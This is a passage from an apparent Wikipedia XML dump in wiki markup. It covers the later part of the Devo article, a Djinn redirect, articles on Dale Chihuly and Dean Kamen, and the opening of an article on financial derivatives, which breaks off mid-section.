Their work has proved hugely influential on subsequent popular music, particularly New Wave, alternative and [[grunge]] music, they created some memorable [[music video]]s popular in the early days of [[MTV]].

==History==

Devo first performed on April 18, [[1973 in music|1973]] as the &quot;Sextet Devo&quot; at [[Kent State University]]'s Creative Arts Festival at Recital Hall. Founders [[Gerald Casale]], [[Mark Mothersbaugh]], and [[Bob Lewis (musician)|Bob Lewis]] were students at Kent State at the time the [[United States National Guard|National Guard]] [[Kent State shootings|shot and killed four students]] at a protest against the U.S. invasion of [[Cambodia]]--the &quot;pivotal moment&quot; in their founding, according to Casale.   

It's sometimes maintained that the inspiration for the band's name and underlying philosophy came from [[Oscar Kiss Maerth]]'s &quot;The Beginning Was the End&quot;, a [[pseudoscience|pseudoscientific]] [[anthropology|anthropological]] thesis that attributes the rise of man to an [[evolution]]ary accident caused by a species of [[sex]]-crazed, [[cannibal]]istic [[ape]]s who developed tools to exploit each other sexually and feed on each others' brains. (''See [[Devolution (fallacy)]]''.) However, Casale and Lewis developed their own quack theories of regression and simplification long before actually finding a copy of Maerth's work, and their use of [[reductio ad absurdum]] as [[metaphor]] is carried throughout Devo's work as a commentary on modern [[society]].

Only [[Mark Mothersbaugh]], the band's [[lead singer]] and [[synthesizer]] player, and Gerald V. (Gerry) Casale, the group's [[bassist]] have been members of Devo since its inception. The first lineup included [[Gerald Casale]] (bass), [[Mark Mothersbaugh]] (keyboards), [[Bob Lewis (musician)|Bob Lewis]] (lead guitar), [[Bob Casale]] (rhythm guitar), [[Rod Reisman]] (drums) and [[Fred Weber]] (vocals).  Later versions of the band added [[Bob Mothersbaugh]] (lead guitar) and [[Jim Mothersbaugh]] (drums). In 1978, Lewis successfully sued the band for theft of intellectual property. 

Devo's big break came in [[1976 in music|1976]] when their short film ''The Truth About De-Evolution'' won a prize at the [[Ann Arbor Film Festival]]; it was then seen by [[David Bowie]] and [[Iggy Pop]], who championed them and enabled Devo to secure a recording contract with [[Warner Brothers Records]]. By this time [[Alan Myers]] had replaced Jim Mothersbaugh as drummer. After David Bowie backed out due to previous commitments, their first album, ''[[Are We Not Men We Are Devo!|Q: Are We Not Men?  A: We Are Devo!]]'' was produced by [[Brian Eno]] and featured a radical [[cover version|cover]] of [[the Rolling Stones]]' &quot;[[(I Can't Get No) Satisfaction]]&quot; and the controversially titled &quot;[[Mongoloid (song)|Mongoloid]]&quot;. 

Although they started out with a mixture of traditional rock instruments and electronic effects, during the early [[1980s]] Devo adopted mostly or entirely synthetic instrumentation, becoming one of the first American acts to perform on stage using only synthesizers; they were also one of the first groups in the world to regularly use radio [[microphone]]s and microphone headsets on stage.

Devo actively embraces the [[Church of the SubGenius]], a parody religious cult.  In concert, Devo sometimes performed as their own [[opening band|opening act]], pretending to be a [[Christian rock|Christian soft-rock]] group called &quot;Dove (the Band of Love)&quot;.  They also recorded &quot;[[easy listening|E-Z Listening]] [[Muzak]]&quot; versions of their own songs to play before their concerts.  In [[1982]], they appeared in the [[Neil Young]] film ''[[Human Highway]]''. 

Devo remained popular in many countries—for instance, they had a large and loyal following in [[Australia]]. The nationally broadcast [[1970s|'70s]]-[[1980s|'80s]] pop TV show ''[[Countdown]]'' there was one of the first programs in the world to broadcast their video clips, and they were given consistent radio support by [[Sydney]]-based non-commercial rock station [[Double Jay]] (2JJ), which was one of the first rock stations outside America to play their recordings. The late night music programme ''Nightmoves'' provided a showing of ''The Truth About De-Evolution''. 

During the 1980s, Devo produced the albums ''[[New Traditionalists]]'' (1981), ''[[Oh, No! It's Devo]]'' (1982), ''[[Shout (Devo album)|Shout]]'' (1984), and ''[[Total Devo]]'' (1988). After the release of ''[[Smooth Noodle Maps]]'' in [[1990]], the band stopped recording and full scale touring, although it has been revived on several occasions for one-off performances and short [[music tour|tours]]. In [[2001]], members of Devo formed the [[surf music|surf]] band The Wipeouters, describing it as a reunion of the first [[garage band]] they started while in their early teens.  

Mark Mothersbaugh has gone on to considerable success [[songwriter|writing]] and producing music for [[television]] programs (starting with ''[[Pee Wee's Playhouse]]'' and perhaps most famously with ''[[Rugrats]]''), [[Computer and video games|video games]], [[cartoon]]s and movies (notably  working alongside director [[Wes Anderson]]).  In 1985, he released an elaborately packaged solo [[audio cassette|cassette]], ''Musik for Insomniaks,'' which was later expanded and released as two [[CD]]s.  His company, [[Mutato Muzika]], provides employment for Devo guitarists Bob Mothersbaugh and Bob Casale: The former works as a [[composer]], and the latter as a [[recording engineer]].  Gerry Casale has directed rock videos by other bands, including [[Rush (band)|Rush]] and [[Foo Fighters]].  Recently Devo recorded a new version of &quot;Whip It&quot; to be used in [[Swiffer]] television commercials, a decision they have said they regret.

==Devo 2.0==

The band is currently working on a project with [[The Walt Disney Company|Disney]] known as [[Devo 2.0]]. Details are scarce, but it seems that a band of child actors (among them [[Nathan Norman]] [http://www.nathannorman.net/pages/news.htm]) has been assembled and will be either re-recording Devo songs or pretending to play them. A quote from the [http://www.ohio.com/mld/beaconjournal/living/12412576.htm Akron Beacon Journal] elucidates, &quot;Also Devo recently finished a new project in cahoots with Disney called Devo 2.0, which features the band playing old songs and two new ones with vocals provided by children. Mothersbaugh doesn't rule out the idea of the band gathering in the studio, eventually, to record a new Devo album.&quot;  For more information, see: [http://disney.go.com/disneyrecords/Song-Albums/devo20/].

==Style and Influence==

Devo is probably as well known for their image as for their music, donning uniforms that mocked industrial [[culture]] and pop [[consumerism]], such as the yellow chemical-protection suits during the early ''Q: Are We Not Men?'' period, matching [[John F. Kennedy|JFK-esque]] plastic hairpieces, masks and the signature &quot;flower pot&quot; hats ([[energy dome]]s) for ''[[Freedom of Choice]]''--which were intended (according to the band) to channel their sexual energy into their voices (and famously worn on their now-legendary ''SNL'' appearance).

Mark Mothersbaugh also donned a baby [[mask]] to create his famous alter-ego, [[Booji Boy]] (pronounced &quot;Boogie Boy&quot;), said by some to symbolize the infantile regression that Devo saw in American culture. The character featured in many stage performances and video clips, as did Booji Boy's father, General Boy (played by Mothersbaugh's father [[Robert Mothersbaugh]]), who satirised American authority figures.  For their performance at the 1996 [[Sundance Festival]], they wore black-and-white-striped prisoners' uniforms.  In their more recent shows, they have returned to the hazmat outfits and energy domes of their earliest days. 

Devo were pioneers of the [[music video]], thanks in part to their frequent early collaborator, director [[Chuck Statler]]. The video for &quot;Whip It&quot; became an early staple of [[MTV]], and their many promotional films and video clips are important landmarks in the development of this genre. They also pioneered the use of long-form [[promotion]]al [[video cassette]]s with releases such as ''[[The Complete Truth About De-Evolution|The Truth About De-Evolution]]'' and ''The Men Who Make The Music'', which mixed self-produced conceptual video clips with live performance footage and mock-[[Documentary film|documentary]] segments. Devo created and directed many of their own videos, and the band has cited the video for the song &quot;Beautiful World&quot; as their favorite example of their video work.  The video for [[&quot;Weird Al&quot; Yankovic]]'s Devo tribute song, &quot;Dare to be Stupid&quot;, consists of elements inspired by, and directly parodying, various Devo videos.

Some hear influences from [[Krautrock]] in Devo's music, such as [[Neu!]], [[Can (band)|Can]] and the [[record producer|production]] work of [[Conny Plank]]. Other influences are said to include American rock [[iconoclast]]s [[Frank Zappa]], [[Captain Beefheart]], and [[the Residents]]. Gerald Casale was strongly influenced by American [[blues]] music. Devo were one of the first American groups to use the services of noted [[United Kingdom|British]] producer, musician and artist [[Brian Eno]], who produced several landmark New Wave music groups including [[Talking Heads]] and [[Ultravox]].

In the liner notes of their &quot;Greatest Hits&quot; album, there is a transcript of a late '70s interview in which the band describes their music as &quot;[[industrial music|industrial]]&quot;, underscoring the [[dehumanization]] (devolution) of their art.  (In this context, the term predates the posthumous application of the label to '70s avant-garde [[noise rock|noise bands]] such as [[Throbbing Gristle]].)  Their extensive mechanization of popular music through [[Synthesizer|synthesizers]] helped to inspire the more modern industrial pop acts of the late 1980s and early 1990s.

== Line Up ==

'''Classic line-up'''
Devo's line up during their most commercially successful period (1976-1985) was:
*Mark Mothersbaugh: lead vocals, keyboards/synthesizers, occasional guitar
*Gerald (Jerry) Casale: lead vocals, bass guitar, synthesizers
*Robert Mothersbaugh (&quot;Bob 1&quot;): lead guitar, vocals
*Robert Casale (&quot;Bob 2&quot;): rhythm guitar, synthesizers
*Alan Myers: drums

'''Other members'''
*[[Bob Lewis]]
*Jim Mothersbaugh
*David Kendrick
*[[Josh Freese]]

Note: as the group's sound evolved, it became more common for the members to use synthesizers and drum machines over their original bass guitar, guitars and acoustic drum kit.

==Discography==

'''Career Albums:'''
*''[[Be Stiff EP]]'' (1977)
*''[[Are We Not Men We Are Devo!|Q: Are We Not Men?  A: We Are Devo!]]'' (1978)
*''[[Duty Now for the Future]]'' (1979)
*''[[Freedom of Choice]]'' (1980)
*''[[DEV-O Live]]'' (1980) (re-released in an expanded, limited (5000 copies) edition by [[Rhino Entertainment|Rhino]] Handmade in October, 1999)
*''[[New Traditionalists]]'' (1981)
*''[[Oh, No! It's Devo]]'' (1982)
*''[[Shout (Devo album)|Shout]]'' (1984)
*''[[E-Z Listening Disc]]'' (1987)
*''[[Total Devo]]'' (1988)
*''[[Now It Can Be Told: DEVO at the Palace]]'' (1989)
*''[[Smooth Noodle Maps]]'' (1990)

'''Posthumous Compilations:'''
*''[[Devo's Greatest Hits]]'' (1990)
*''[[Devo's Greatest Misses]]'' (1990)
*''[[Hardcore Devo]]'' 1974-77, Volume 1 (1990) (previously unreleased 4-track demos)
*''[[Harcore Devo: Volume Two|Hardcore Devo]]'' 1974-77, Volume 2 (1991) (previously unreleased 4-track demos)
*''[[DEVO Live: The Mongoloid Years]]'' (1992)
*''[[Adventures of the Smart Patrol]]'' (1996)
*''[[Pioneers Who Got Scalped]]'' (2000)
*''[[Recombo DNA]]'' (2000) - a compilation of music demos and rarities (only available through [[Rhino Entertainment|Rhino]] Handmade)
*''[[The Essentials]]'' (2002) - Features digitally remastered audio
*''[[Whip It and Other Hits]]'' (2003)
*''[[DEVO Live 1980]]'' (2005) (Dual-Disc Format Release)

'''As a backup band for others:'''
*[[Hugh Cornwell &amp; Robert Williams]]: ''[[Nosferatu (album)|Nosferatu]]'' (1979) (Mark Mothersbaugh &amp; Bob Mothersbaugh co-wrote and performed on the track &quot;Rhythmic Itch&quot;)
*[[Jermaine Jackson]]: ''Let Me Tickle Your Fancy'' (1982) (backup on title song)
*[[Toni Basil]]: ''Word of Mouth'' (1983) (backup on covers of Devo's own &quot;Space Girls&quot;, &quot;Be Stiff&quot; and &quot;Pity You&quot;)
*[[David Byrne (musician)|David Byrne]]: ''Feelings'' (1997) (backup on &quot;Wicked Little Doll&quot;)
*[[Martini Ranch]]: ''Holy Cow'' (1988) (Bob Casale produced &quot;How Can the Labouring Man Find Time for Self-Culture?&quot; while [[Mark Mothersbaugh]] contributed backup vocals.)

'''As The Wipeouters:'''
*''[[P'Twaaang!!!]]'' (2001)

==Singles==
* 1976 - &quot;[[Mongoloid (song)|Mongoloid]]&quot; (Booji Boy Label)
* 1977 - &quot;(I Can't Get No) Satisfaction&quot; (Booji Boy Label)
* 1978 - &quot;Be Stiff&quot; (Stiff Records)
* 1978 - &quot;Come Back Jonee&quot;
* 1979 - &quot;The Day My Baby Gave Me a Surprize&quot;
* 1979 - &quot;Secret Agent Man&quot;
* 1979 - &quot;Flimsy Wrap&quot;
* 1980 - &quot;Girl U Want&quot;
* 1980 - &quot;[[Whip It]]&quot; (#14 US)
* 1980 - &quot;Gates of Steel&quot;
* 1980 - &quot;Freedom of Choice&quot;
* 1981 - &quot;Through Being Cool&quot;
* 1981 - &quot;Working in a Coalmine&quot; (#43 US)
* 1981 - &quot;Beautiful World&quot; (Picture Disc)
* 1982 - &quot;Jerkin' Back 'n' Forth&quot;
* 1982 - &quot;Peek-a-Boo!&quot;
* 1983 - &quot;That's Good&quot; (Picture Disc)
* 1983 - &quot;Theme from Doctor Detroit&quot;
* 1984 - &quot;Are You Experienced?&quot;
* 1985 - &quot;Here to Go&quot;
* 1985 - &quot;Shout&quot;
* 1988 - &quot;Disco Dancer&quot;
* 1988 - &quot;Baby Doll&quot;
* 1990 - &quot;Post Post-Modern Man&quot;

==External links==
{{wikiquote}}
* [http://www.clubdevo.com Club DEVO] - Official website
* [http://www.huboon.com Devo Live Guide] - Comprehensive guide to Devo's live performances.
* [http://www.DEVObook.com DEVOBook.com] - a book about the history and development of Devo, made without their input and rejected by them as allegedly inaccurate
*[http://devo.devaluate.com/Devolution.doc  DEVO: The First Post-Modern Band] Essay on Devo and Kent State
*[http://www.cleveland.com/music/index_story.ssf?/music/more/local/cle/3a/readers/index.html Readers vs. Breeders: Didactical Works re De-Evolution] originally appearing in Los Angeles Staff, 1972

* [http://www.mutato.com Mutato Muzika]
*[http://www.gocodon.org/artistmonthpage.htm Mark Mothersbaugh talks about DEVO, his visual art, science, and Hollywood on www.gocodon.org.]
* [http://www.rhinohandmade.com Rhino Handmade]
* [http://www.devo-obsesso.com Michael Pilmer's DEVO Collection] - The largest collection of DEVO memoribilia, anywhere
* [http://www.forte-intl.com/~ronald/devo/ Devo lyrics and the Devo Print Archive in PDF format]
* [http://www.sanspoint.com/basement/ Booji Boy's Basement] - band-sanctioned site for trading live recordings and demos
* [http://www.chaoscontrol.com/content_article.php?article=devo Mark Mothersbaugh interviewed ] - Mark talks about DEVO, soundtrack work and the Wipeouters side-project.
* [http://disney.go.com/disneyrecords/Song-Albums/devo20/ DEVO 2.0] - Official Disney Records site
[[Category:American musical groups]]
[[Category:Art rock musical groups]]
[[Category:New Wave groups]]
[[Category:Post-punk]]
[[Category:Musical groups from Ohio]]

[[de:Devo]]
[[fr:Devo]]
[[ja:ディーヴォ]]
[[sv:Devo]]
[[es:Devo]]</text>
    </revision>
  </page>
  <page>
    <title>Djinn</title>
    <id>9131</id>
    <revision>
      <id>15907043</id>
      <timestamp>2004-07-20T19:06:14Z</timestamp>
      <contributor>
        <username>Heenan73</username>
        <id>85908</id>
      </contributor>
      <minor />
      <comment>- link updated</comment>
      <text xml:space="preserve">#REDIRECT [[Genie]]</text>
    </revision>
  </page>
  <page>
    <title>Dale Chihuly</title>
    <id>9132</id>
    <revision>
      <id>42108433</id>
      <timestamp>2006-03-03T21:56:09Z</timestamp>
      <contributor>
        <ip>206.200.254.205</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Chihuly Inside and Out close-up (cropped).jpg|thumb|'''Dale Chihuly''' has become famous for his intricate, vividly-colored, eye-catching glasswork. This work, ''Inside and Out'', belongs to the [[Joslyn Art Museum]] in [[Omaha, Nebraska]].]]
[[Image:Chihuly Chandelier close-up.jpg|thumb|Chihuly's ''Glowing Gemstone Polyvitro Chandelier'' also hangs in the main atrium of the Joslyn Art Museum.]]
[[Image:VandA Rotunda.jpg|thumb|In [[2000]], Dale Chihuly completed a commission from the [[Victoria and Albert Museum]] for a 30ft high, blown glass, [[chandelier]] dominating the museum's main entrance.]]
[[image:glass.sculpture.kewgardens.london.arp.jpg|thumb|right|250px|Chihuly's ''The Sun'' on temporary display until January 2006 at Kew Gardens, London, England. The piece is 13 feet (4 metres) high]] 

'''Dale Chihuly''' (b. [[September 20]], [[1941]] in [[Tacoma, Washington]], [[United States|USA]]) is a modern day [[glass]] [[sculpture|sculptor]].

Chihuly grew up and graduated from high school in Tacoma. Supported by his mother after his brother George's death in a flight-training accident in Florida and his father's death of a heart attack, he had no intention to continue his education until his mother convinced him to enroll at the College of the Puget Sound (now [[University of Puget Sound]]) in [[1959]]. A year later, he transferred to the [[University of Washington]] at [[Seattle, Washington|Seattle]], where, though he studied [[interior design]] and [[architecture]], he first tried [[glassblowing]]. In 1967 he received a Masters of Science in Glassblowing from the University of Wisconsin. In 1968 he received an Masters of Fine Arts in Sculpture at the [[Rhode Island School of Design]], where he later helped establish the school's glass program. In that year he also received a Fulbright Fellowship, and went on to become the first American glassblower to work in the prestigious Venini Fabrica on the island of [[Murano]]. Along with several other glass artists, Chihuly founded the influential and inventive [[Pilchuck Glass School]] in [[1971]] in [[Stanwood, Washington]]. 
Chihuly lives and works at his 25,000 [[square foot]] (2300 m&amp;sup2;) [[studio]] on [[Lake Union]]. Since losing the [[visual perception|vision]] in one of his [[eye|eyes]] in an [[automobile]] accident in [[1976]], Chihuly (who wears an [[eyepatch]]) no longer has the [[depth perception]] necessary to handle the molten glass himself.  Instead, he conceptualizes each project with [[paint]] and [[canvas]] and then employs a team of artists to do the handiwork.  In 1991, Chihuly began his Niijima Floats Series (see link below), some of the largest blown glass pieces in the world, at the [[Niijima]] International Glass Art Festival in [[Japan]].  

==Permanent collections==
[[United States]]
*[[Colorado]]
**([[2004]]) [http://www.chihuly.com/installations/cosprings/] [[Colorado Springs Fine Arts Center]], [[Colorado Springs, Colorado|Colorado Springs]]
*[[Minnesota]]
**([[2001]]) [http://www.chihuly.com/installations/public/Art/mayo3B.html] [[Mayo Clinic]], [[Rochester, Minnesota|Rochester]]
*[[Nebraska]]
**([[2000]]) [http://www.chihuly.com/installations/public/joslyn.html] [[Joslyn Art Museum]], [[Omaha, Nebraska|Omaha]]
**([[2000]]) [http://www.chihuly.com/installations/public/Art/nebraskaB.html] [[University_of_Nebraska_at_Omaha|University of Nebraska]], [[Omaha, Nebraska|Omaha]]
*[[Nevada]]
**([[1998]]) ''[http://www.chihuly.com/Fiori/fiori.html Fiori di Como]'', [[Bellagio (hotel and casino)|Bellagio Hotel and Casino]], [[Las Vegas, Nevada|Las Vegas]]
*[[New Jersey]]
**([[2003]]) [http://www.chihuly.com/installations/public/borgata01.html] [[Borgata|Borgata Hotel Casino &amp; Spa]], [[Atlantic City, New Jersey|Atlantic City]]
*[[New York]]
**([[1987]]) ''[http://www.chihuly.com/installations/public/Art/FAbram_Img0083B.html Rainbow Room Frieze]'', [[Rockefeller Center]], [[New York, New York|New York]]
**([[1994]]) ''[http://www.chihuly.com/installations/public/stpeters.html Persian Window]'', St. Peter's Church, [[New York, New York|New York]]
**([[2000]]) ''[http://www.chihuly.com/installations/corning/Art/CdCC_Img0042B.html Fern Green Tower]'', [[Corning Museum of Glass]], [[Rockefeller Center]], [[New York, New York|New York]]
***
*[[Washington]]
**([[1988]]) [http://www.chihuly.com/installations/public/Art/CdCC_Img0077B.html] [[Frank Russell Company]], [[Tacoma, Washington|Tacoma]] 
**([[1991]]) [http://www.chihuly.com/installations/public/citycentre.html] [[City Centre Mall]], [[Seattle, Washington|Seattle]]
**([[1992]]-[[1993]]) [http://www.chihuly.com/installations/public/wa_state.html] [[Washington State Trade and Convention Center]], [[Seattle, Washington|Seattle]]
**([[1994]]) [http://www.chihuly.com/installations/unionstation/] [[Union Station Federal Courthouse]], [[Tacoma, Washington|Tacoma]] 
**([[1995]]) [http://www.chihuly.com/installations/public/Art/gonzagaB.html] Jundt Art Museum ([[Gonzaga University]]), [[Spokane, Washington|Spokane]]
**([[1995]]) [http://www.chihuly.com/installations/public/sleepinglady.html] [[Pacific Lutheran University]], [[Tacoma, Washington|Tacoma]] 
**([[1995]]) [http://www.chihuly.com/installations/public/Art/microblueB.html] [[Microsoft Corporation]], [[Redmond, Washington|Redmond]]
**([[1996]]) [http://www.chihuly.com/installations/public/sleepinglady.html] Sleeping Lady Conferance Retreat, [[Leavenworth, Washington|Leavenworth]]
**([[1997]]) [http://www.chihuly.com/installations/tnt/Art/p1_Img0094B.html] [[Tacoma News Tribune]], [[Tacoma, Washington|Tacoma]]
**([[1998]]) [http://www.chihuly.com/installations/public/benaroya01.html] [[Benaroya Hall]], [[Seattle, Washington|Seattle]]
**([[2002]]) ''[http://www.chihuly.com/collections/public.html Chihuly Bridge of Glass]'', [[Museum of Glass]], [[Tacoma, Washington|Tacoma]]
**([[2003]]) [http://www.chihuly.com/installations/tam/perm.html] [[Tacoma Art Museum]], [[Tacoma, Washington|Tacoma]]
*[[Wisconsin]]
**([[1998]]) [http://www.uwbadgers.com/facilities/kohl_center/index.aspx Mendota Wall] [[Kohl Center]], [[University of Wisconsin, Madison]] 
[[England]]
*([[2001]]) [http://www.chihuly.com/installations/public/vanda.html] [[Victoria and Albert Museum]], [[London]]
==Exhibitions==
*([[1996]]) ''[http://www.chihuly.com/cov/ Chihuly Over Venice]'', [[Venice]], [[Italy]]
*([[1999]]-[[2000]]) ''[http://www.chihuly.com/jerusalem/jerusalem.html Chihuly in the Light of Jerusalem 2000]'', [[Tower of David]], [[Jerusalem]], [[Israel]]
*([[2001]]-[[2002]]) ''[http://www.chihuly.com/installations/garfield/ Chihuly In The Park: A Garden Of Glass]'', [[Garfield Park Conservatory]], [[Chicago, Illinois|Chicago]], [[Illinois]]
*([[2004]]) ''[http://www.atlantabotanicalgarden.org/chihuly/chihuly_index.htm Chihuly in the Garden]'', [[Atlanta Botanical Garden]], [[Atlanta, Georgia]]
*([[2005]]) ''[http://www.rbgkew.org.uk/chihuly/exhibition/ Gardens of Glass]'', [[Kew Gardens]], [[London]].
*([[2005]]) ''[http://www.kiarts.org/chihuly.htm Chihuly in Kalamazoo]'', [[Kalmazoo Institute of Arts]]'', [[Kalamazoo, Michigan]]
*([[2005]]-[[2006]]) ''[http://www.chihuly.com/installations/fairchild/ Chihuly at Fairchild]'', [[ Fairchild Tropical Botanic Garden]], [[Coral Gables, Florida]]

==External links==
{{commons|Dale Chihuly}}
* [http://www.chihuly.com Chihuly's official website]
* [http://www.thestranger.com/seattle/Content?oid=30734 Article about Dale Chihuly's business]
* [http://www.cindycenter.com Visit cIndycenter.com to listen to the podcast interview with Dale Chihuly]
* [http://www.chihuly.com/installations/niijima/statement.html Niijima Floats Series]

[[Category:1941 births|Chihuly, Dale]]
[[Category:Living people|Chihuly, Dale]]
[[Category:American sculptors|Chihuly, Dale]]
[[Category:Glass artists|Chihuly, Dale]]
[[Category:Pacific Northwest artists|Chihuly, Dale]]
[[Category:Seattleites|Chihuly, Dale]]</text>
    </revision>
  </page>
  <page>
    <title>Dean Kamen</title>
    <id>9133</id>
    <revision>
      <id>40056793</id>
      <timestamp>2006-02-17T20:43:24Z</timestamp>
      <contributor>
        <username>Haakon</username>
        <id>7745</id>
      </contributor>
      <minor />
      <comment>/* External link */ link-&gt;links</comment>
      <text xml:space="preserve">[[Image:Dean_kamen.jpg|thumb|Dean Kamen on one of his inventions, the [[Segway Human Transporter]].]]

[[Image:NorthDumplingIsland.jpg|thumb|Dean Kamen's home on North Dumpling Island.]]

[[Image:clinton-kamen.jpg|thumb|[[President Clinton]] and Kamen in the [[White House]], Kamen riding his innovative [[invention]], the [[iBOT|iBOT Mobility System]].]]
'''Dean L. Kamen''' (born [[April 5th]], [[1951]]) is an [[United States|American]] [[entrepreneur]] and [[inventor]]. He attended [[Worcester Polytechnic Institute]], but dropped out before graduating.

==Career==
&lt;!-- The remainder of this article needs thorough fact-checking - it coincides with what I remember reading but I haven't gone and checked it properly. --&gt;
Kamen is probably most well-known to the public from the publicity surrounding the product that eventually became known as the [[Segway HT]]&amp;mdash;a kind of electric [[scooter]] with a complex, computer-controlled [[gyroscope|gyroscopic]] stabilization and control system that keeps the device balanced on two horizontally-placed wheels and controlled by moving body weight.  The machine's secret development was the object of much speculation after segments of a book quoting [[Steve Jobs]] and other notable IT visionaries espousing its society-revolutionising potential were leaked in 1999.

Kamen founded [[DEKA|DEKA Research &amp; Development Corporation]] in 1982.  With the success of his inventions, DEKA now employs about 200 engineers, technicians and machinists who work in the firm's electronics and software engineering labs, machine shop, and on CAD stations. According to the company's [[website]], DEKA's mission is &quot;to foster innovation.&quot;

Kamen has also worked extensively on a project involving [[Stirling engine]] designs, attempting to create a machine that would generate power while serving as a [[water purification]] system. He hopes the project will help improve living standards in developing countries. [http://www.wired.com/wired/archive/8.09/kamen_pr.html]

In 1989, Kamen founded the robotics organization, [[FIRST]] (For Inspiration and Recognition of Science and Technology), for high-school students. In 2005 it held over thirty regional competitions and one national.  Kamen remains the driving force behind the organization providing over 1000 high schools with the tools needed to learn valuable engineering skills.

However, Kamen was already a successful and wealthy inventor, after inventing a new type of mobile [[dialysis]] system for medical applications, as well as an all-terrain electric wheelchair known as the [[iBOT|IBOT]] using many of the same gyroscopic balancing technologies that later made their way into the [[Segway]].

An article states that Kamen holds that &quot;walking is a remnant of the Dark Ages, an unpleasant time-waster that technology need eradicate&quot; [http://archive.salon.com/tech/feature/2001/12/07/segway/]; this point is often noted by critics of the Segway, who feel that walking is a natural human exercise that should be encouraged, not made obsolete, to offset declining health figures. 

During his impressive career Kamen has won numerous awards. In April 2002, Kamen was awarded the [[Lemelson-MIT Prize]] for inventors for his invention of the Segway and of an infusion pump for [[diabetes mellitus|diabetics]]. He was elected to the [[National Academy of Engineering]] in 1997 for his biomedical devices and for making engineering more popular among high school students.  In 2000, he was awarded the [[National Medal of Technology]] by [[President of the United States|US President]] [[Bill Clinton]].

Kamen owns the small [[North Dumpling Island]] off the coast of [[Connecticut]], and has &quot;declared&quot; the island to be an independent state. His father is [[Jack Kamen]], the well-known illustrator of ''[[Weird Science (comic)|Weird Science]]'' and other [[EC Comics]].

==External links==
* [http://www.dekaresearch.com/ DEKA website]
* [http://www.wired.com/wired/archive/8.09/kamen.html?pg=1&amp;topic=&amp;topic_set= Bio of Dean Kamen] &amp;ndash; from ''[[Wired Magazine]]''
* [http://www.radiophiles.org Listen to the Dean Kamen interview on Radiophiles.org]
* [http://www.usfirst.org/about/bio_dean.htm FIRST biography]

[[Category:1951 births|Kamen, Dean]]
[[Category:Living people|Kamen, Dean]]
[[Category:American entrepreneurs|Kamen, Dean]]
[[Category:American inventors|Kamen, Dean]]
[[Category:Autodidacts|Kamen, Dean]]</text>
    </revision>
  </page>
  <page>
    <title>Derivative (finance)</title>
    <id>9135</id>
    <revision>
      <id>42040029</id>
      <timestamp>2006-03-03T11:18:37Z</timestamp>
      <contributor>
        <ip>196.25.255.195</ip>
      </contributor>
      <comment>/* Articles */</comment>
      <text xml:space="preserve">A '''derivative''' is a [[finance|financial]] [[contract]] whose payoffs over time are ''derived'' from the performance of [[asset]]s (such as commodities, shares or bonds), [[interest rate]]s, [[exchange rate]]s, or indices (such as a [[stock market index]], [[consumer price index]] (CPI) or an index of weather conditions). This performance can determine both the amount and the timing of the payoffs, and these payoffs can be in cash, as well as be the delivery of the [[underlying]] asset. This flexibility in underlying and payoff leads to a huge range of different derivatives contracts that are traded in the market.  The main types of derivatives are [[futures]], [[forwards]], [[option]]s and [[swaps]].
[[Image:Chicago_bot.jpg|none|400px|right|thumb|Derivatives traders at the Chicago Board of Trade.]]


==Types of derivatives==
===OTC and exchange-traded===
Broadly speaking there are two distinct groups of derivative contracts, which are distinguished by the way that they are traded in market:

* '''Over-the-counter (OTC) derivatives''' are contracts that are traded directly between two parties, without going through an exchange or other intermediary. Products such as [[swap (finance)|swaps]], [[forward rate agreement]]s, and [[exotic option]]s are almost always traded in this way. The OTC derivatives market is huge. According to the [[Bank for International Settlements]], the total outstanding notional amount is USD 248 trillion at the end of December 2004{{mn|afgh|1}}.

* '''Exchange-traded derivatives''' are those derivatives products that are traded via [[Derivatives exchange]]s. A derivatives exchange acts as an intermediary to all transactions, and takes [[Initial margin]] from both sides of the trade to act as a guarantee. The world's largest{{mn|foweek|2}} derivatives exchanges (by number of transactions) are the [[Korea Exchange]] (which lists [[KOSPI]] Index Futures &amp; Options), [[Eurex]] (which lists a wide range of European products such as interest rate &amp; index products), [[Chicago Mercantile Exchange]] and the [[Chicago Board of Trade]]

===Common contract types===
There are three major classes of derivatives:
* [[futures contract|Futures]]/[[forward contract|Forwards]], which are contracts to buy or sell an asset at a specified future date.
* [[Option]]s which are contracts that give the buyer the right (but not the obligation) to buy or sell an asset at a specified future date.
* [[Swaps]], where the two parties agree to exchange cash flows

===Examples===
Some common examples of these derivatives are:

{| border=&quot;1&quot; bordercolor=&quot;#ebebeb&quot; cellspacing=&quot;0&quot; cellpadding=&quot;4&quot;
! rowspan=&quot;2&quot; bgcolor=&quot;#EBEBEB&quot; |UNDERLYING
! colspan=&quot;5&quot; bgcolor=&quot;#EBEBEB&quot; |CONTRACT TYPE
|-
! bgcolor=&quot;#EBEBEB&quot; |Exchange traded futures
! bgcolor=&quot;#EBEBEB&quot; |Exchange traded options
! bgcolor=&quot;#EBEBEB&quot; |OTC swap
! bgcolor=&quot;#EBEBEB&quot; |OTC forward
! bgcolor=&quot;#EBEBEB&quot; |OTC option
|-
! bgcolor=&quot;#EBEBEB&quot; |[[Equity Index]]
| [[DJIA]] Index future &lt;BR /&gt; [[NASDAQ]] Index future
| Option on [[DJIA]] Index future &lt;BR /&gt; Option on [[NASDAQ]] Index future
| n/a
| Back-to-back
| n/a
|-
! bgcolor=&quot;#EBEBEB&quot; |[[Money market]]
| Eurodollar future &lt;BR /&gt; Euribor future
| Option on Eurodollar future &lt;BR /&gt; Option on Euribor future
| [[Interest rate swap]]
| [[Forward rate agreement]]
| [[Interest rate cap and floor]] &lt;BR /&gt; [[Swaption]] &lt;BR /&gt; [[Basis swap]]
|-
! bgcolor=&quot;#EBEBEB&quot; |[[Bond]]s
| Bond future
| Option on Bond future
| n/a
| [[Repurchase agreement]]
| [[Bond option]]
|-
! bgcolor=&quot;#EBEBEB&quot; |Single [[Stock]]s
|[[Single-stock futures|Single-stock future]]
|Single-share option
|[[Equity swap]]
|Repurchase agreement
|[[Stock option]]&lt;br /&gt;[[Warrant (finance)|Warrant]]&lt;br /&gt;[[Turbo warrant]]
|-
! bgcolor=&quot;#EBEBEB&quot; |[[Foreign exchange]]
|FX future
|Option on FX future
|[[Currency swap]]
|FX forward
|FX option
|-
! bgcolor=&quot;#EBEBEB&quot; |Credit
| n/a
| n/a
|[[Credit default swap]]
| n/a
|[[Credit default option]]
|}

Some less common examples of underlyings are:
* [[Economic derivative]]s that pay off according to [[economic report]]s ([http://biz.yahoo.com/c/e.html]) as measured and reported by national [[statistical agencies]]
